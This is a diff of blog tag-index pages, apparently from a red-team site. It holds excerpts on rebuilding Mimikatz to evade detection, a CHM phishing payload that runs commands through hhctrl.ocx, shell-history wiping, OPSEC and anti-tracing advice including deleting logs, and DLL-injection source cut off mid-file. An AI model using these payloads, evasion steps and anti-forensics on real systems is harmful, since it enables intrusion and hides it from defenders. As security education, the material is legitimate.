style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nuget restore +</span></span></code></pre></td></tr></table> +</div> +</div><!-- raw HTML omitted --> +<p>在开发.NET应用程序时,通常会使用NuGet来管理项目所依赖的第三方库和组件。NuGet是.NET生态系统中最受欢迎的包管理器之一,它提供了一个中央存储库,开发人员可以从中获取各种软件包和库。</p> +<p>&ldquo;nuget restore&quot;命令会读取项目文件(.csproj或.vbproj)中的依赖关系,并下载或还原所需的NuGet包,以确保项目可以成功编译和构建。这个命令通常在CI/CD(持续集成/持续交付)过程中使用,以确保在构建项目之前,所有的依赖关系都被正确地还原和安装。</p> +<!-- raw HTML omitted --> +<p>除此之外,还可以在环境配置中设置安装开发库的命令:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-d2dbacd81fcf3c3ae4c2d9dad8dbfaafff18b18a138d0b6d46d966c00c66e23c.png" alt="4"> + +</p> +<p>最后一步就是设置二进制文件打包了,点击artifacts,可以配置要打包的路径,必须是相对路径,C#的程序一般会将二进制文件生成到bin目录下,所以我这里就写:etrace\bin</p> +<p> + <img src="https://images.payloads.online/2024-07-29-250ee79944bc86c985221b13aee115fb153e56ca50d88d16799a3eebb3d29c44.png" alt="5"> + +</p> +<p>保存后,回到项目页面,点击Start New Build就开始构建了:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-51d2f8ad59c102c96729da44ee8c88a28706eefb90c6a52e00e4ae94c055db8b.png" alt="6"> + +</p> +<p>稍微等待一下,就可以看到构建好的程序了,直接下载就可以使用。</p> +<p> + <img src="https://images.payloads.online/2024-07-29-71e3d69c746a01016da0b57aa98abcd4de9029ce06eec2f5ef3127062e78cb7d.png" alt="7"> + +</p> +<h2 id="使用appveyor构建mimikatz">使用AppVeyor构建Mimikatz</h2> +<p>Mimikatz是<a href="https://github.com/gentilkiwi">gentilkiwi</a>使用C语言开发的Windows安全工具,该工具有着丰富的功能,能过从内存中提取明文密码,哈希,PIN码和kerberos票据、哈希传递等等,随着越来越多的黑客滥用此工具进行一些非法活动,因此<a href="https://github.com/gentilkiwi">gentilkiwi</a>每发布一个Release,Release中的Mimikatz样本就会被标记为黑客工具,这对红队带来了一些小麻烦,通过AppVeyor我们可以自动化的做一些静态特征处理,然后自动构建产生新的工具。</p> \ No newline at end of file diff --git a/tags/phishing/index.xml b/tags/phishing/index.xml index 690492b..e1f3957 100644 --- a/tags/phishing/index.xml +++ b/tags/phishing/index.xml @@ -23,4 +23,47 @@ </span></span></code></pre></td></tr></table> </div> </div><h3 id="如何构建chm文件">如何构建CHM文件?</h3> -<p>可以使用<code>Microsoft HTML Help Workshop</code>工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息:</p> \ No newline at end of file +<p>可以使用<code>Microsoft HTML Help Workshop</code>工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-46f7eb69f2f9cfa3972058713818f15955e891fb99252bae45c6209f88a87e69.png" alt="2"> + +</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt; +</span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">head</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">OBJECT</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Test&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;application/x-oleobject&#34;</span> <span style="color:#a6e22e">classid</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;clsid:52a2aaae-085d-4187-97ea-8c30db990436&#34;</span> <span style="color:#a6e22e">codebase</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;hhctrl.ocx#Version=5,02,3790,1194&#34;</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1&#34;</span> <span style="color:#a6e22e">height</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">PARAM</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Command&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;ShortCut&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">PARAM</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Button&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Bitmap:shortcut&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">PARAM</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Item1&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;,cmd.exe, /c calc.exe&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">PARAM</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Item2&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;273,1,1&#34;</span>&gt; +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">object</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span>&gt; +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Test</span>.<span style="color:#a6e22e">HHClick</span>(); +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">script</span>&gt; +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt; +</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Hello&lt;/<span style="color:#f92672">h1</span>&gt; +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt; +</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>在这段代码中,调用了<code>hhctrl.ocx</code>COM组件,该组件的方法可以执行命令:</p> \ No newline at end of file diff --git a/tags/redteam/index.xml b/tags/redteam/index.xml index 9d2134d..e784251 100644 --- a/tags/redteam/index.xml +++ b/tags/redteam/index.xml @@ -27,4 +27,37 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 -</span></code></pr \ No newline at end of file +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python -c <span style="color:#e6db74">&#39;import pty;pty.spawn(&#34;/bin/sh&#34;)&#39;</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># or</span> +</span></span><span style="display:flex;"><span>unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; +</span></span><span style="display:flex;"><span>export HISTFILE<span style="color:#f92672">=</span>/dev/null; +</span></span><span style="display:flex;"><span>export HISTSIZE<span style="color:#f92672">=</span>0; +</span></span><span style="display:flex;"><span>export HISTFILESIZE<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> +</span></span></code></pre></td></tr></table> +</div> +</div><ul> +<li>操作合规:非必要情况下,不修改任何服务器用户密码</li> +<li>操作合规:非必要情况下,不使用破坏性较强的Exploit或者工具</li> +<li>操作合规:非必要情况下,不要对内网进行大规模探测 例如不要/8</li> +<li>操作合规:非必要情况下,切勿上来就进行扫描探测,先应对当前主机做详细的信息搜集和分析</li> +<li>工具存放:工具统一存放在隐藏目录下,文件名称命名为服务进程(tomcat/nginx)等,有AV/EDR情况,工具应先本地测试免杀之后,再落地到目标服务器,最好有多个平替工具</li> +</ul> +<h2 id="反溯源注意事项">反溯源注意事项</h2> +<ul> +<li>外网攻击时:尽量使用虚拟机进行渗透,并且测试时不提交包含个人特征信息的手机号码、QQ、微信、其他信息,最好日常工作的浏览器和渗透攻击的浏览器用两个。一般我会创建攻击机的虚拟机快照,项目结束恢复初始状态,干干净净。</li> +<li>内网攻击时:攻击结束必须进行痕迹清理,及时删除自用软件,如Webshell、免杀上线马、0day工具、扫描工具、自研工具,甚至包含系统日志。</li> +<li>短线社工钓鱼:尽量避开技术人员,从非技术人员入手,钓鱼信息为非实名信息</li> +<li>短线社工钓鱼:远程获取的可执行文件,谨慎点击(尤其是VPN客户端,谨防蜜罐),可以上传各类沙箱进行检测,同时运行可以采用虚拟机的方式。</li> +<li>在开源社区获得系统或工具源代码后,谨慎打开,防止IDE的编译、加载、调试选项内藏上线命令。</li> +</ul> +<h2 id="职业操守">职业操守</h2> +<ul> +<li>禁止下载、更改业务数据(企业数据),修改业务系统密码(如路由器、Web站点后台、VPN)降低业务影响。</li> +<li>禁止使用会造成不良后果的攻击方式(如DDOS攻击)。</li> +<li>测试结束后删除Webshell等恶意文件或记住固定存放位置。</li> +<li>禁止使用境外跳板机、VPN。</li> +<li>使用统一攻击资源与授权攻击工具。</li> +<li>对项目、行动内容在公开场合进行保密,不产生任何舆论影响。</li> +</ul> \ No newline at end of file diff --git a/tags/rust/index.xml b/tags/rust/index.xml index 47e7dd8..e407c23 100644 --- a/tags/rust/index.xml +++ b/tags/rust/index.xml @@ -24,4 +24,6 @@ </span></span><span style="display:flex;"><span> -d, --debug </span></span><span style="display:flex;"><span> -h, --help Print help </span></span><span style="display:flex;"><span> -V, --version Print version -</span></span></code></pr \ No newline at end of file +</span></span></code></pre></td></tr></table> +</div> +</div><p>先将Qpipe下载到本地,然后编写特定的配置文件:</p> \ No newline at end of file diff --git a/tags/vscode/index.xml b/tags/vscode/index.xml index abdef14..5eff719 100644 --- a/tags/vscode/index.xml +++ b/tags/vscode/index.xml @@ -158,4 +158,142 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">132 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">133 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">134 -</span></code></pr \ No newline at end of file +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#75715e">// inject_dll.cpp +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;conio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;tchar.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;tlhelp32.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#pragma comment(lib, &#34;kernel32.lib&#34;) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#pragma comment(lib, &#34;user32.lib&#34;) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// Helper to free data when we leave the scope. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">DataToFree</span> { +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span> +</span></span><span style="display:flex;"><span> HANDLE hProcess; +</span></span><span style="display:flex;"><span> HANDLE snapshotHandle; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> LPVOID remoteMemoryAddr; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> remoteMemorySize; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> DataToFree(){ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>snapshotHandle <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemoryAddr <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemorySize <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">~</span>DataToFree() { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nullptr</span>){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemoryAddr <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nullptr</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemorySize <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>){ +</span></span><span style="display:flex;"><span> VirtualFreeEx(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess, <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemoryAddr, <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemorySize, MEM_RELEASE); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemoryAddr <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>remoteMemorySize <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> CloseHandle(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>hProcess <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>snapshotHandle <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nullptr</span>){ +</span></span><span style="display:flex;"><span> CloseHandle(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>snapshotHandle); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>snapshotHandle <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span>}; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">/** +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * All we do here is load a dll in a remote program (in a remote thread). +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * Arguments must be the pid and the dll name to run. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> * i.e.: inject_dll.exe &lt;pid&gt; &lt;dll path&gt; +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">wmain</span>( <span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>argv[ ], <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>envp[ ] ) +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Running executable to inject dll.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Helper to clear resources. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DataToFree dataToFree; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(argc <span style="color:#f92672">!=</span> <span style="color:#ae81ff">3</span>){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Expected 2 arguments (pid, dll name).&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">int</span> pid <span style="color:#f92672">=</span> _wtoi(argv[<span style="color:#ae81ff">1</span>]); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(pid <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Invalid pid.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">2</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">int</span> MAX_PATH_SIZE_PADDED <span style="color:#f92672">=</span> MAX_PATH <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> dllPath[MAX_PATH_SIZE_PADDED]; +</span></span><span style="display:flex;"><span> memset(<span style="color:#f92672">&amp;</span>dllPath[<span style="color:#ae81ff">0</span>], <span style="color:#e6db74">&#39;\0&#39;</span>, MAX_PATH_SIZE_PADDED); +</span></span><span style="display:flex;"><span> size_t pathLen <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> wcstombs_s(<span style="color:#f92672">&amp;</span>pathLen, dllPath, argv[<span style="color:#ae81ff">2</span>], MAX_PATH); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">bool</span> inheritable <span style="color:#f92672">=</span> false; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> HANDLE hProcess <span style="color:#f92672">=</span> OpenProcess(PROCESS_VM_OPERATION <span style="color:#f92672">|</span> PROCESS_CREATE_THREAD <span style="color:#f92672">|</span> PROCESS_VM_READ <span style="color:#f92672">|</span> PROCESS_VM_WRITE <span style="color:#f92672">|</span> PROCESS_QUERY_INFORMATION, inheritable, pid); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(hProcess <span style="color:#f92672">==</span> <span style="color:#66d9ef">nullptr</span> <span style="color:#f92672">||</span> hProcess <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Unable to open process with pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">3</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> dataToFree.hProcess <span style="color:#f92672">=</span> hProcess; +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;OpenProcess with pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> LPVOID remoteMemoryAddr <span style="color:#f92672">=</span> VirtualAllocEx(hProcess, <span style="color:#66d9ef">nullptr</span>, MAX_PATH_SIZE_PADDED, MEM_RESERVE <span style="color:#f92672">|</span> MEM_COMMIT, PAGE_EXECUTE_READWRITE); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(remoteMemoryAddr <span style="color:#f92672">==</span> <span style="color:#66d9ef">nullptr</span>){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Error. Unable to allocate memory in pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">4</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> dataToFree.remoteMemorySize <span style="color:#f92672">=</span> MAX_PATH_SIZE_PADDED; +</span></span><span style="display:flex;"><span> dataToFree.remoteMemoryAddr <span style="color:#f92672">=</span> remoteMemoryAddr; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;VirtualAllocEx in pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">bool</span> written <span style="color:#f92672">=</span> WriteProcessMemory(hProcess, remoteMemoryAddr, dllPath, pathLen, <span style="color:#66d9ef">nullptr</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span>written){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Error. Unable to write to memory in pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">5</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;WriteProcessMemory in pid: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> LPVOID loadLibraryAddress <span style="color:#f92672">=</span> (LPVOID) GetProcAddress(GetModuleHandle(<span style="color:#e6db74">&#34;kernel32.dll&#34;</span>), <span style="color:#e6db74">&#34;LoadLibraryA&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(loadLibraryAddress <span style="color:#f92672">==</span> <span style="color:#66d9ef">nullptr</span>){ +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Error. Unable to get LoadLibraryA address. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span 